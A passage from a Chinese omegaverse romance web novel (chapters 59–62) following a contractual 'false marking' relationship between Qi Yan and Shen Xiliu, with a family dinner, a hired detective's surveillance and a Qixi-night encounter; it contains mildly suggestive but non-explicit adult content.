晚上的时候都不肯说,白天时一脸冷漠,看他像是看陌生人的沈溪流更加不可能说了。 第59章 前世 生气了 “幸好江与青出国了, 这些东西我根本不敢让他知道。”张衡一推了推眼镜,又拉开领带,深吸一口气。 毕竟他也没想到祁厌的怀疑是对的, 易鸿立的手段太下作,如果不是他背地里做了这么多事情, 顾燕行应该不会这么快就采取偏激的手段。 要是让江与青知道顾燕行生前的遭遇, 大概会和易家死磕吧。 “这些东西得藏好,如果江与青回国,绝不能让他发现。”祁厌关闭电脑, 伸手拿过桌上的烟和打火机,给自己点燃一根香烟。 张衡一道:“他还会回国吗?”顾燕行已经死了,江与青还有回国的理由吗? 江家是个不逊色于沈家的复杂家族, 早年在国外发家, 业务版图极其广阔,横跨多国。作为江家的家族成员之一,如无意外,江与青应该不会再回来了。 “不怕一万,就怕万一。”祁厌想着江与青出国时的模样,总觉得没有这么简单, 多年的执念真的可以说放下就放下吗? 以前发生的事情, 江与青知道得不多, 除了他和顾燕行故意瞒着, 江与青的父母也不想他牵扯进来, 但如果江与青真的想要知道,他们也瞒不住。 一缕烟雾从唇缝溢出,好似将愁绪也带走了,祁厌单手支着下巴思忖, 半晌后将香烟碾入烟灰缸里。 “现在最重要的是找到他藏起来的东西,易鸿立的人不会轻易放弃,我们得在他之前先找到,否则我们连最后的一个机会也没有了。” “只能这样了,接下来想办法去接触这人看看,或许能从他身上得到一些信息。”张衡一从文件里抽出一张照片,是个穿着警服的年轻人,“他和顾燕行打了不少交道,说不定能给我们提供讯息。” 祁厌凝视着照片中的人:“我来和他接触。” “好,那就交给你了,我继续去找顾燕行生前停留居住过的地方。”张衡一有些无奈,拿过祁厌的烟,给自己也点燃了一根,用来缓解紧绷的神经,“废弃的下水道都住过,这家伙到底是在搞什么,难道缺钱缺到这种地步,连找个房子住都住不起吗?” 明明曾经也是顾家的大少爷,能力不凡,结果居然把自己过成流浪汉,张衡一也是佩服他了。 “那倒不至于,他不缺钱。”祁厌给不能开口的死人解释一句,“他在国外有好几张不记名的卡,钱都在上面,足够过完一生的钱。” 张衡一:“那他为什么把自己过成这个样子?” 不记名吗?顾燕行是故意的吧,查不出来的钱,这样开车撞了易鸿立夫妻都不用负责。 “谁知道呢。”祁厌说。 张衡一心里浮现疑问:“既然这家伙藏得这么深,手段也不简单,到底是怎么被易鸿立找到,逼迫走上不归路……” 指间的橙红火光微亮,薄烟升起,祁厌一直在思考这个问题,道:“确实,顾燕行很擅长伪装,一般人根本追踪不到他,究竟是怎么被人盯上?” 如果没有被易鸿立发现针对,或许顾燕行就不会这样去死,所以是谁暴露他的行踪? 手里搜集到的资料不够弄清楚这件事情,只能暂时作罢。 他们避开这个问题,张衡一想起祁厌以前签订的合同,问他还有多久才能结束?祁厌想了想,说大概还有一个月就能结束。 “那你也算是解放了。”张衡一说,“我私下还去查了查,据说假性标记需要抽取的alpha信息素必须是腺体最深处的,抽取的难度很大,还很疼,我光看文字描写,想想就浑身不自在,难为你还坚持这么久。” “啊,这个确实有点疼来着。”祁厌伸手摸了摸自己后颈,贴着信息素隔绝贴,无奈地笑道,“有几次都疼得产生后悔的情绪了,尤其是那个研究人员没扎对时,需要重来一次,还有止痛药发挥作用太慢时,后颈不断传来密密麻麻的针刺……” “别讲了!”张衡一伸手制止,并且撩起自己的西装袖子,“看,鸡皮疙瘩起来了,别和一个正常的alpha说这种事情,可以吗?” 正常的alpha哪里会像祁厌这样,一脸笑容地讲自己被抽取信息素的过程。alpha是站在顶端的侵略者,天生的进攻型,哪能安静地任由他人抽取信息素,即使现在是和平时代,alpha也不会轻易答应。 “行吧。其实我说得挺平常,并不吓人,是你想象力太丰富。”祁厌说。 拿钱办事是他的准则,签下合同,答应提供信息素的人是他。 祁厌不会轻易反悔,除去抽取信息素过程,毕竟太疼了,连思绪都有些卡顿,后悔是人之常情吧。 …… “接下来三天都不用过来吗?” 祁厌回去的时候,正好撞见沈溪流换上一身沉着的黑色西装,站在镜子前整理脖子上的黑色信息素隔离颈环,还没开口询问他是不是有事出门,就听见沈溪流说接下来的三天都不用过来了。 “嗯,这几天我会住在老宅,你要是不想离开,也可以随意住在这里,反正还有一个多月。” 沈溪流神情冷淡地说着,漂亮的脸没有表情,狭长的眼眸冰冷锐利,左眼下的三颗泪痣醒目又独特。原本有些病态的肤色经过这段时间的治疗,看起来比以前健康许多,但依然流露着孤高冷傲的气质,比起平时靠在沙发看书的放松状态,更容易给人带来压迫感。 挺久没见到他这个样子。祁厌看习惯沈溪流平时随性的模样,差点忘记他是个挺危险的人:“那今天和明天,不用做了吗?” 祁厌算了算,最近每个晚上都在做,而且每次做的次数都挺多的,毕竟之前去C市时耽搁很长一段时间,结果这几天全部给补回来了。 “……” 刚整理完信息素隔离颈环,正在戴领带的沈溪流听到这话,不小心扯歪领带。他微蹙眉头,看向祁厌,神情冷淡又蕴含警告:“别在这种时候说这些话。” 以往他露出这种表情,祁厌都会识相地岔开话题,最近却有点随意了,笑吟吟道:“好好好,就是顺便问一下嘛,不要放在心上。身体不要紧吧?今天的检查报告出来了吗?” “在桌上,你自己看。”沈溪流不耐他这种态度,收回目光,手指烦躁地扯掉领带。 心情不是很愉悦,他朝着沙发走去,捡起自己手机,给沈清泽发信息问,能不能弄点控制假性标记后遗症的药剂,真的不想轻易被人牵着情绪走,尤其是祁厌这种人。 检查报告的情况的确是越来越好,甚至趋近于正常的omega了,光看信息素的上下浮动,祁厌完全看不出沈溪流是个患病的omega。 “就剩最后一个月了呢。”祁厌放下检查报告,笑着看向坐在沙发上,正低头发信息的沈溪流。 沈溪流难得点头赞同他:“挺好。” 如果能够缩减时间就更好了。对于不想被信息素这种东西影响的omega来说,假性标记带来的后遗症让沈溪流心情烦躁,但又不能逃避,毕竟比起真正被标记后的影响,现在已经算轻松了。 最起码他还能维持理智去思考。 “是啊,越早结束,我们才能越早解脱,各自回到原来的生活,真是有点让人期待呢。”祁厌笑眯眯地说着,好像很怀念自己原来的生活一样。 握着手机的手掌微微收紧,有点不爽。沈溪流晦暗的眸光在他脸上停留一瞬,语气意味不明:“看来你已经迫不及待了……” 祁厌过去的生活是什么样?当初沈云殊拿着一沓调查资料让他看,沈溪流只是随便瞄了几眼,就没有兴趣看了,被随手丢在一旁。 没必要看,他都能猜得到,这人从小就生活在那种环境下,十八岁以后更是常驻酒吧,每天过着放纵肆意的生活,游走在形形色色的人之间,会发生什么事情,可想而知…… “确实有点迫不及待。”祁厌相当怀念,绕过桌子,坐到沙发另一侧,懒散地往后靠着,开始念叨,“毕竟到时候就不用每天下班以后,大老远赶回来了;这里离酒吧超远,打车费不便宜,通勤时间也长,有时候甚至要提前下班,还得给热情的客人解释;就连合同的规定也超多,每天都得小心翼翼,避免违反规定;不过等合同结束以后,就不用担心这么多,可以随意,就算睡……” “啪!”一声响起,祁厌目光移向被随意丢在桌面的手机。 沈溪流凉飕飕地说:“看来这段时间还真是委屈你了,需要我向你道歉吗?” 他笑了起来,嘴角微微上扬,眼神里却没有丝毫笑意,讽刺又冰冷。 抱怨的话,他还一句没说,祁厌倒是比他抢先一步说出来了。沈溪流很不开心,连带着越看祁厌,越觉得他长得碍眼,尤其是那双眼睛,真是让人厌恶的家伙…… 这名字取得真好。 “生气了?”祁厌看着他生气的模样,笑了起来。他还是第一次看到白天的沈溪流露出这种表情,挺可爱的。 这样子更恶心,更欠揍了。沈溪流冷冰冰地移开视线,果然,一个月的时间太久了,要是从现在开始就不用看到这人,再好不过。 祁厌伸手拿过沈溪流丢在沙发上的领带,朝他靠近:“别生气,随便说说而已,接下来还得相处一段时间呢。打工人抱怨这些是很正常的事情,不过要是让别的打工人知道我拿到的钱是多少,估计只会觉得我不知好歹……” “呵,原来你知道啊。”沈溪流讥笑道。他看着祁厌走到身前半蹲下来,把领带给他戴上,仔细整理扶正角度。 距离凑得有些近,要是放在以前,沈溪流已经让他滚远点。但大概是每天晚上的距离都比这更近,他一点都没有生出反感的情绪,反倒是心口涌动着一股陌生而令人不安的情绪。 “毕竟又不是傻子,刚才只是和你开个玩笑而已。”祁厌笑盈盈说道。指尖在领带上缠绕,纤长眼睫毛轻轻扇动着,眼角眉梢尽是温柔深情,漂亮的琥珀色眼瞳中倒映着人影,好似只能看得见他。 这种眼神让沈溪流有些不自在,连呼吸都停滞一瞬,比晚上还要直观地感受到那种不可宣示的情绪。脸颊开始发烫,浑身不舒服,大概是后遗症又在作祟了,无法忽视标记他的alpha,纵然只是假性标记。 沈溪流伸手抓住祁厌的手腕,语气不耐:“行……行了,不用你帮忙,我手没废掉。” 明明是想拽走对方的手,但丝毫没有用力,反而无意识地拉得更近,有点奇怪。 “诶……” 祁厌好像意识到了什么,抬眼瞧着沈溪流,嘴角微微扬起,笑意微深,轻声问他:“想做了?” 第60章 前世 清洗标记 沈溪流觉得自己大概是疯了, 被信息素冲昏头脑,居然真的同意了。 有点荒唐,但是他的确抵抗不了, 毕竟这人确实长了一张不错的脸蛋,尤其是那双眼睛, 相当具有欺诈性, 认真注视着你的时候,温柔又深情,容易让人产生一种被深爱的错觉。 加上假性标记的后遗症, 沈溪流的抵抗力远比以前下降太多,无法无视他的存在。 “接下来三天不见,如果沈先生想要加固一下假性标记, 也是正常的。”祁厌给他找了个借口。 确实, 三天不见,说不定好不容易稳定的状况会出现问题,还不如在离开前再做一次,稳定体内的情况。 所以,总之还是做了一次。 原本是不想在沙发的,毕竟第一次在沙发做的时候, 给人留下深刻印象。结果沈溪流反应太慢了, 好半晌才反应过来, 但已经来不及换地点, 毕竟只有半个多小时就要离开。 祁厌给他换了个姿势, 说别像上次那样不肯换姿势就行了。而且只是简单地做一次,不会像上次那样难受,反正沈溪流也习惯了。 他说着还从衣服包里取出熟悉的包装袋,拆开使用。沈溪流盯着熟悉的东西, 有些不爽,这家伙为什么会随身携带这种东西? 平时他们只在晚上做,随身携带这种东西,该不会是想违背合同,在外面和别人乱搞吧? 这样想着,他也质问出声了,“你为什么会随身携带这种东西?” “这个吗?朋友给的。”酒吧的人本就比较随意,祁厌玩真心话大冒险的时候,说了自己有喜欢的人,现在由于各种原因,勉强算同居? 反正一堆问题答下来后,就被某个瞎起哄的家伙随手塞了一个。 沈溪流听见这话还有点恶心,他本就很反感祁厌的工作环境,听见这话,愈发怀疑如果不是合同限制,祁厌大概早就和别人用了。 然后就听见祁厌说:“原本是打算丢掉,结果后面喝酒喝忘记了,沈先生要试试吗?是我们没用过的款式。” “没准备和别人做?”沈溪流问。大白天做这种事情果然不好,就算关灯拉窗帘了,屋内依然挺亮的,什么都看得清清楚楚。 “嗯?当然不准备和别人做了,你当我是什么人?”祁厌发现沈溪流好像对自己有很大的认知错误,该不会以为他和某些A公关一个德行吧? 之前没有解释的必要,但现在肯定得解释一句。祁厌正想开口说,就听见沈溪流的手机响起,对方看了眼时间,催他赶紧,别说废话了。 祁厌有些无奈地笑了,这不是你先开口吗?算了,下次有机会再说吧,反正他和别人挺清白的,沈溪流之前就没看过他的资料吗? 时间有限,双方只能抓紧时间做,屋内还是太亮,沈溪流想闭眼享受就行,但每次都会被逼得睁开眼睛。一对上祁厌的眼神就觉得不舒服,索性把领带扯下来,缠住他的眼睛。 祁厌无所谓,就是觉得有点可惜,沈溪流穿着西装、红着脸的样子超好看,特别让人喜欢,可惜沈溪流不给他看。 为避免沈溪流生气,祁厌只能配合地低头让他抖着手遮住眼睛,又说一句,没想到你居然发展出了新的癖好,下次不会要绑手吧? 沈溪流有点烦躁,让他闭嘴,谁有这种兴趣,只是你的眼神太…… 没有继续说完,只是喘息感受着,好一会儿才说祁厌下次别用这种,不是很舒服。祁厌不觉得,他比沈溪流更加了解他的身体,明明就很享受,偏偏要说相反的话。 这样折腾下来,出门肯定还是迟了。 的确比上次在沙发的体验感更好,但沈溪流的衣服被弄得乱七八糟,头发和额头都沾着汗水。他受不了这样出门,只能匆忙洗澡,换件全新的西装才敢出门,还不忘提醒祁厌不要趁他不在的时候乱搞。 祁厌:“……” 怎么有种对象出差,被警告不要出轨的感觉。他长得就这么像喜欢乱玩的人吗? 真是难以形容的诡异感觉。 不过沈溪流不在,今晚也没必要待在这里,取消了原本请假的计划,提前去酒吧上班的祁厌被朋友看穿有心事,带着疑虑地问出口:“我看起来很像放荡的人吗?” 否则为什么沈溪流总怀疑他喜欢乱搞?连解释都不听不信。 酒吧的朋友面面相觑,提出疑问:“是什么给你错觉,觉得自己不像放荡的人?” 祁厌无奈道:“……真过分,我明明挺正经的。” “哈哈哈,开玩笑啦。”朋友大笑说,“是谁说你放荡了吗?不会是你喜欢的人吧?” 祁厌不回答这个问题,对沈溪流的事情他大多闭口不谈,只透露出少许自己方面的信息,别的一点都没有说出来。 纠结这些问题没有用,沈溪流离开得正是时候,马上就到七夕情人节,夜晚的酒吧正是忙碌的时候。 …… 沈家老宅客厅,一群年轻人正坐在一起,大多数神情拘谨,只有某些人比较随意。 “为什么七夕节,我都得回来,和这群无聊的人凑在一起啊?”一个穿着时尚潮流,带着朋克风的年轻人一脸不爽地说着。 他坐姿很嚣张,椅子往后倾斜,双手交叉抵着后脑勺,两条大长腿搭在桌上,穿着黑色皮靴的脚高高翘起。 “游弋哥,你这种姿势很失礼,待会儿舅舅下来,会给你惩罚的。”坐在他身旁的少年,身穿贵族学校的黑色校服,气质优雅,面无表情地翻着手里的书。 “切,我还怕他的惩罚吗?”游弋翻了个白眼,“连离家出走都要把我绑回来,真是玩不起。” 他很不满,嘀嘀咕咕地抱怨着,除了身旁的少年偶尔会说一句,大多数人都不敢搭话。 “话说,他们还要讲多久啊?烦死了,有什么事情早点说,早点结束不行吗。”游弋很烦,对身旁少年说,“哎,二叔不回来吗?我听说他失踪好几个月了,怎么一点都不见你紧张啊?” “没有紧张的必要。”少年神情不变。 游弋心想,那倒也是,他偷听到了爸爸和沈溪流的对话。二叔的失踪是沈溪流的安排,短时间内回不来,爸爸还让沈溪流别太过分,舅甥闹成这样,太丢人了,只会让外面的人笑话。 “他不变成笑话,变成笑话的就是我。”沈溪流冷笑说道。 沈家主很无奈:“那也不能把你二舅舅出卖给那人吧?” “有什么关系,这不很安全吗?”沈溪流轻轻鼓掌,微笑道,“顶多就是抱个二胎回来,我们家里又要多个继承人了,真好。舅舅你不阻止,不也是想看乐子吗?” 沈家主:“……” 他轻咳一声,好缺德。但确实想看,不过作为兄长,不能表现出来。 “他也是为了你好,这么坑他不好。”沈家主想给弟弟解释一句,其实他也没这么过分。 永久标记也没有这么夸张,影响是有,但不会连一个人的思想都彻底改变,沈溪流没必要抗拒到这种地步。但以前已经说过这些话,在沈溪流看来,没有丝毫说服力。 沈家主只好委婉道:“他之前那样强迫你,完全是为你的身体着想,而且你现在也接受得很好。我看过你的检查报告,被永久标记后,没有再发病吧?” 真是恶心的话,谁要被alpha永久标记啊。沈溪流嘴角扬起的弧度消失,他从来都不打算向践踏自己尊严的沈云殊低头认输。 等假性标记完成以后,就会找机会让他回来,再把真相揭穿,看看沈云殊那嚣张的嘴脸能露出什么样的表情。 “暂时确实没有问题。”在计划成功之前,沈溪流会藏好秘密,不会让任何人知道,“已经很久没有发病了,这段时间过得不错。” “那就好。”沈家主松口气,他背对着落地窗,坐在办公桌后,缓缓微笑道,“我们沈家人就这个病最麻烦,但永久标记能解决。看你的气色,的确比以前更加健康了,看来这段时间过得不错,不讨厌那个alpha?” 沈溪流能同意被永久标记,除了踩沈云殊一脚,应该也是没以前那么反感对方吧? “怎么可能不讨厌。”沈溪流抬眼对上那双诡异绮丽的金色重瞳,深邃而泛着璀璨摄人的光芒,仿佛洞悉一切。 “舅舅,我不是你,不会轻易被信息素影响。我有多厌恶alpha,你是知道的,这一点从来都没有改变过。” 现在的影响都是假性标记在作祟,幸好当初他没有轻易听信沈云殊,如果真是永久标记,怕是会比现在更糟糕。 就剩最后一个月了,后遗症的影响会慢慢消失,到时候他就不用再和祁厌待在一起,也不会受到任何影响。 “……” 沈家主原本以为沈溪流不会像以前那样极端,但现在看来好像变化不大。他这个外甥的性格向来冷淡,擅长藏住情绪,没有那么容易被人拿捏。 “你的意思是,你依然讨厌身为alpha的祁厌吗?”沈家主询问。 “嗯。”沈溪流面无表情地点头,眼底流露出一抹不易察觉的恼意,“标记带来的影响不会持续太久,等我身体稳定以后,就不用留他在身边。” 沈家主仔细看了他一番,难怪今天沈溪流没把人带过来,原来是压根没认可对方,始终抗拒着标记影响。真让人遗憾,还以为能够看到他这个外甥被信息素影响到的可爱模样…… “那你打算等情况稳定后,就洗掉永久标记吗?”沈家主问。 已经被标记却不需要alpha的omega有两条路走:一是使用伪alpha信息素稳定身体状况,但会带来很多不便,尤其是发情期的时候;二是清洗永久标记,直接消除永久标记带来的影响。 但洗掉永久标记带来的伤害非同小可,一个不小心,omega的头脑、神经、身体素质等等都会受到伤害,如果能不洗最好不洗。 沈溪流只道:“我会考虑。”假性标记无需清洗,但这话不能说。 等事情结束以后,自然会让舅舅知道,他根本没有被永久标记过。 沈溪流的态度丝毫不掩饰,沈家主有些头疼,等他走后才起身,拿起他的检查报告:“都永久标记了,难道这孩子真的还这么讨厌祁厌吗?” 不可能吧。 他有些疑虑,又不确定。明明alpha已经将沈溪流永久标记,他却没有在沈溪流身上看见一点心动,依然讨厌那名标记自己的alpha,甚至眼神里会流露出厌恶,是藏得太好,还是真没有影响? “希望是真的没有影响吧。” 他不敢肯定,只能希望沈溪流没有对祁厌产生感情,又错以为是标记带来的影响。 永久标记没有那么恐怖,不会彻底改变一个人。它能够影响omega对alpha的想法,基础却是来源于自身感情。 只有感情能影响理性,所谓的信息素影响是有限的,最终会消散。 不过这话从他口中说出太过不真实。被喜欢的alpha标记和被讨厌的alpha标记截然不同,作为前者,他永远察觉不到后者被永久标记带来的影响是怎么样。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 前世 做人别这么坏心眼 “吸溜、吸溜。” 坐在面馆里靠窗位置吃粉的人, 很随意地往外面看去,余光偶尔扫到雇主要求监视的人。 哟,这次又换了个omega走在他身边, 真是好高的人气,果然长得帅就是占便宜。 他嗦着粉感慨, 已经跟踪祁厌好几个月了, 很清楚这人有多受欢迎,身边总是有许多漂亮omega围着,不过对方也挺注意距离, 始终没踩到雇主的雷区。 不错,给他减少工作量了。但是仔细想来,雇主也挺奇怪的, 要求很宽松, 并不像以前的某些雇主,需要将目标人物遇到的所有事情一一记录下来,包括接近的对象也需要调查清楚。 一开始他还以为这是一场普通的雇佣,无聊的小情侣之间在闹矛盾,想找人监视对象,防止出轨, 直到正式见到雇主派来的人才意识到不对。 几个月跟踪下来, 他已经发现其中的矛盾点, 但作为专业人士, 最好遵守行业里的缄默守则尽量不干涉, 做好该做的事情便行…… 这是一份还算轻松的工作,虽然目标人物的警惕性也挺高,但是终究发现不了他这个专业的私家侦探。 不过今天都七夕情人节了,居然还要工作, 真是麻烦呢……嗯?那人想要做什么? 私家侦探眯着眼睛观察买了一束玫瑰花的omega,记得这人的名字是叶澄澄,和目标人物是同一家酒吧的工作人员,一名新手调酒师。 最近经常在祁厌的指导下练习调酒,以他的观察力来看,这个omega肯定对温柔帅气的alpha有意思。 今天可是七夕情人节,该不会打算对祁厌进行告白吧? 唔,不过以他的判断来看,祁厌肯定不会同意。这段时间他可是看到不少人对祁厌告白,但对方都相当利索地拒绝了,压根不用担心。 告白这种重要的事情,但凡换个雇主,他都得让雇主知道,不过现在这位雇主根本不在意这种事情,那就无视吧。 只要没发生亲密的肢体接触,就没有必要说。现在发信息给雇主的话,说不定还会被对方嫌事情太多,没有判断力。 话说今天不愧是情人节,真热闹,街上的小情侣真多啊。还是得盯紧点,毕竟情人节最容易出事故了,尤其是入夜之后,习惯了夜晚酒吧的热闹景象,已经有点无聊,等这次工作结束以后,他估计会有很长时间不想再接近酒吧这种场所。 大概是告白这种事情太重要,无聊的侦探偶尔看向那名有告白想法的omega。这段时间的观察让他知道这人性格有些腼腆,不知道是否能够好好地说出来,不过礼物和花都买了,应该能行吧? 有点好奇,一直等到大半夜,侦探才看见这场自己期待已久的告白有些动静。听说今晚星月湾那边会集中放烟花,这是打算去那里告白吗? 不错的选择地点,不知道目标人物会不会在那种浪漫的场景下被打动…… 诶?好像不打算过去,难道准备在这里告白吗?侦探觉得有点意思,要是被打动了,需要给雇主发条信息吗? 应该不用,不过先偷拍一张,整理进册子,以防不备吧。 街道旁,被叫出来的祁厌很有耐心地问道:“是有什么事情要说吗?” “呃,那个,我,我……没,没什么,就是待会儿大家要去星月湾看烟花,祁哥你也过去吗?”叶澄澄有些紧张地问道。 祁厌想了想:“还在考虑中,毕竟我对烟花兴趣不大。” 叶澄澄脸上有些遗憾:“这样啊……” 侦探盯着站在街道边的两人,偷拍几张就收好照片,转移视线,避免盯久被发现。这个omega真的太害羞了,低着头磨磨蹭蹭地说着话,连藏在包里的花和礼物都没敢拿出来。 这都是什么纯情男大学生,他借着玻璃窗反射偷窥,哎哟,终于鼓起勇气拿出来了,好好告……啊!等等,那边那辆黑色迈巴赫怎么这么眼熟?!! …… 隔着车窗一眼就看见那人。 沈溪流不知道自己这是什么破运气,每次在路上看到祁厌,都能看见他在陪不同的omega。 在老宅里举行的家宴太烦人,沈家主的话让沈溪流更厌恶所谓的标记后遗症,连信息素的变化都比平时更加糟糕,于是在心情不好的情况下,被游弋劝说着喝了点酒。 沈溪流的酒量不好,平时很少碰酒,反正也没人敢劝他喝。如今只是稍微喝了几杯,就有些醉意,酒精缓解了内心的焦虑,他索性离开老宅。 结果没想到居然会在街上看见祁厌和omega拉拉扯扯,原本好不容易被酒精缓解的心情,一下子变得糟糕透顶了。 这人还记不记得他现在的身份,签订的合同?真是蠢得要死,居然接下omega送的礼物,完全没把合同规定放在眼里! “开过去,停在路边。”沈溪流对司机说道。 “我想送这份礼物,和喜欢你没有关系,只是觉得适合你,想要送给你。这花也是,现在拿回去估计也没地方放,也算是朋友间的心意……” “嘀!嘀!!” 叶澄澄把东西塞到他怀里,原本还想继续说什么,但路边响起刺耳的鸣笛声打断他的话。 他习惯性地看了过去,无意和一双冰冷的视线对视上,情不自禁地呆愣住。 随即,下意识地往后退一步,叶澄澄不等祁厌说话:“请不要有任何负担,就当作是一直以来的谢礼吧。” 说完,他转身就走,没给祁厌继续拒绝的机会。 “这跑得也太快了吧,连拒绝的余地都没有留。”抱着花和礼物的祁厌无奈地抓了抓头发。要是现在追上去,把礼物强行还回去,好像不太好,得另外想办法了。 这样想着,祁厌看向车道处刚才鸣笛的黑色车,原本只是随便瞥一眼,如果不是这辆车太吵,估计他还能有机会拒绝叶澄澄的礼物。 结果一眼便对上了后车座里的人的视线。 “沈先生?”祁厌怔愣,沈溪流怎么会在这里? 他回过神来,朝着车走过去,脸上浮现笑容:“沈先生,这个时间点,你不该是在家宴上吗?突然出现在这里,难道是有什么事情?” 沈家老宅举行家宴,说好三天都不回来,结果这才过去两天,居然就在路上遇见了,还真是巧合。 夜风从开启的车窗吹起来,坐在窗边的沈溪流盯着他怀里的玫瑰,淡淡道:“和你没关系。看来我这次出现得挺不巧,打扰到你了吧。” “嗯?”祁厌顺着他的目光看向自己抱着的玫瑰花和礼物,笑了起来,解释道:“没有,请别误会,只是事情发生得太意外,没能好好地说……” “你不用给我解释。” 沈溪流打断他的话,一脸疏离地提醒道:“只要别高兴到忘记现在还在合同期间,不能违背规定就行。等合同结束了,你和谁在一起,都与我无关。” “嘿诶,真的吗?”祁厌微微俯身弯腰,手臂靠在车窗边,把脸凑上去,笑盈盈地盯着他看,一双多情桃花眼轻轻眨着,眼眸荡漾着旖旎涟漪,难以掩饰的笑容变得有些惑人。 “别凑这么近!”沈溪流猝不及防地对上他的脸,停顿一瞬,立即往后避开他凑过来的脸,眉头微蹙,浑身都感到不自在。 祁厌鼻尖微微动了动:“沈先生,你喝酒了?” “和你无关。”沈溪流别着脸,车边落下的阴影遮掩表情,声音夹杂冷意,“别一直盯着我看。” “哦。”祁厌随便丢了个字,又问道,“那你现在是要回去吗?” “当然。”大多情况下,沈溪流没有熬夜的习惯。 “这样啊。”祁厌的语气变得遗憾,“难得在这里遇见你,原本还想要邀请你去看烟花呢,我听澄澄说星月湾那边今晚会放烟花,错过估计就要等到下一个节日了。” 沈溪流冷冰冰道:“没有兴趣。”这家伙大概是连自己的身份都忘记了,居然想要来邀请他看烟花,多少有点自以为是。 “好吧。”祁厌站直身体,不继续靠窗看他,“真是有点遗憾,那我只能陪澄澄他们过去看烟花了,难得有点期待……” 这家伙的夜生活是不是过得太好了?沈溪流听到这话有点不爽,抬眼盯着他,笑了起来:“很期待?” “嗯,毕竟烟花很好看。”祁厌耸了耸肩,一脸期待地笑说,“听说今晚会放一些很昂贵漂亮的特殊烟花,错过的话,下次不知道要等到什么时候,能陪……” “那还真遗憾。”沈溪流轻飘飘地说了一句,他抬眼盯着祁厌,嘴角勾出一抹浅笑,“你大概看不到这场烟花了。” 祁厌:“???” “上车吧,既然我回来了,你就别想过得这么舒服。”沈溪流漫不经心地说。 祁厌:“……” “这是不是有点过分了?沈先生,做人别这么坏心眼,邀请你又不去,现在居然连我都不准去看烟花。” “不觉得,上车。”沈溪流道,“别让我说第三遍。” 他果然还是很讨厌祁厌,不打断一下他的期待,多少有点对不起自己被假性标记影响后的烦躁。 “……好吧,好吧,那我得先回去和大家说一声,不能给同事添麻烦。沈先生在这里等我一下可以吗?”祁厌好脾气地说道。 怎么又生气了?沈溪流真是难以捉摸的人,祁厌只能匆忙回去说一声,再赶回来。看到祁厌这幅无可奈何的样子,沈溪流的心情变得轻松不少。 “待会儿能稍微去一下超市吗?”祁厌问道,“我想买点东西。” 沈溪流随口道:“买什么?”什么东西白天不买,非得晚上去。 “嗯?”祁厌看了一眼司机,放低声音,“沈先生,你确定要问吗?” 沈溪流皱眉瞥他,祁厌把声音放到特别低,靠近他,小声提醒某些物品快用完了。 他们前两天在沙发做一次,回房间拿了套子又做一次,才导致沈溪流那天出门太晚。祁厌也因此注意到抽屉里就剩下一小盒,本来打算明天再去买,结果沈溪流提前回来了。 听完这些话的沈溪流:“……” “今天一次性把接下来这个月要用的都买了吧,正好做完就结束。”祁厌说,反复去买挺麻烦的。 沈溪流有点不舒服了,浑身都不对劲,难以形容此刻的心情。为什么他要在这种时候听祁厌说这些鬼话? 好恶心。 明明当初作出这个决定以后,已经买够了这段时间使用的东西,结果现在居然不够用了…… 不想细思。 …… “看这关系,估计这册子早晚会派的上用场。”侦探把照片放进文件夹,满意地翻看这段时间拍下的照片。 作为一名专业人士,所有和祁厌有过接触的人,他都一一记载下来,没有遗漏。 纵然雇主现在没有要求做到这一步,但他还是做足准备,以防万一了。 相信如果有一天雇主看到他服务这么周到,说不定还会额外给他一笔费用。 第62章 前世 他像是会吃醋的人吗? “这是一个月的用量?” 沈溪流认为祁厌疯了, 都快赶上之前买的数量,他用得完吗? “差不多吧,沈先生, 你别忘了,之前不用买, 是因为我也补充一部分。”祁厌微笑提醒他, 难道一个晚上要做多少次,沈溪流自己心里没数吗? 沈溪流:“……” 他不想和祁厌谈这种话题,太恶心了。 真后悔, 为什么要答应祁厌,和他一起进超市?现在视线都不愿意落在购物车里,甚至想远离祁厌, 免得别人以为他们认识, 太丢人。 “随你吧,我去买点别的东西。”沈溪流待不下去了,周围有路过的情侣正在偷笑,这让他无法忍受,直接无视祁厌的询问,快步离开。 但还没走远, 一个可爱的omega刚和他擦肩而过, 欢快的声音非常惊喜:“祁厌, 好巧呀, 没想到居然会在这个时间遇见你, 今天不用工作吗?” 沈溪流的脚步一顿,继续往前走,转过货架时,看到那名omega满脸笑意地凑到祁厌面前。 祁厌有些惊讶, 原本是想跟上沈溪流,但遇见那人就停下步伐。 “确实好巧,好久不见,今天算是有事提前下班吧……”他的脸上浮现一抹标准笑容,和omega聊了起来。 “……” 这家伙认识的omega真多,沈溪流不耐地皱下眉头,他就站在不远的地方,低头看着货架上的东西,好像在认真挑选一样。 “现在的小情侣真是厉害啊,居然买了这么多盒,能用得完吗?” 过了一小会儿,有两人从他身后走过,脸上挂着奇怪的笑容,红着脸小声地嘀咕讨论。 “alpha敢买这么多,肯定对自己的能力相当有自信。”其中一人对朋友挤眉弄眼,怪笑道,“就是他的对象可能会被折腾吧,那个omega真可爱甜美,居然这么纵容自己男朋友买那么多,嘿嘿。” “嗬嗬,也是,他俩不管是从外表还是性格看起来都好适配,有点带感,怪好嗑的。” “……” 沈溪流放下手里的东西,走得更远。 七夕情人节有不少恋人成双成对,祁厌顺手将勾着的外套放进购物车里盖住,和那个omega有说有笑地远离暧昧的区域。他们在家居用品区买了几个专门调酒用的杯子,在今日的氛围下格外容易被人误会。 偶尔听到路过的人传来偷笑的声音,无疑,那人太显眼,都被别人指指点点了。 幸好他没有站在祁厌旁边。沈溪流心想,他待不下去了,给祁厌发条信息,先一步回车里。 “如果到时候你要来的话,就提前给我发信息,我给你把材料都准备好!” 祁厌一边和朋友聊,一边到处找沈溪流,不知道对方走到哪里去了:“那就多谢了,等我搞定设计图就来找你。” “小事一桩啦。”omega笑得很灿烂,“之前一直没找到机会感谢你,现在终于有机会了,我可是记了好久你的帮忙。当时要不是你出现拦下那几个骚扰的人,估计我的麻烦就大了。” “不用这么客气,正常人看见你被骚扰,相信都会出手阻拦的。” 祁厌和omega多聊了几句才各自分开,打开手机准备给沈溪流发条信息,询问他在哪里。刚一打开,因为工作而静音的手机弹出一条信息,沈溪流已经离开超市,只能自己去自助收银机付款。 …… “什么叫不知羞耻、不要脸?沈先生你别睁眼说瞎话,我也是尴尬的,你在的时候,我还能端住。结果你扭头就走,独自遇见熟人的时候,我也很无助。” 没人想要在买成人用品的时候,正面对上熟人,还是独自一人,购物车里还放了不少小方盒。幸好祁厌早就习惯大场面,只要自己端住不尴尬,别人也不会蠢到特意去提。 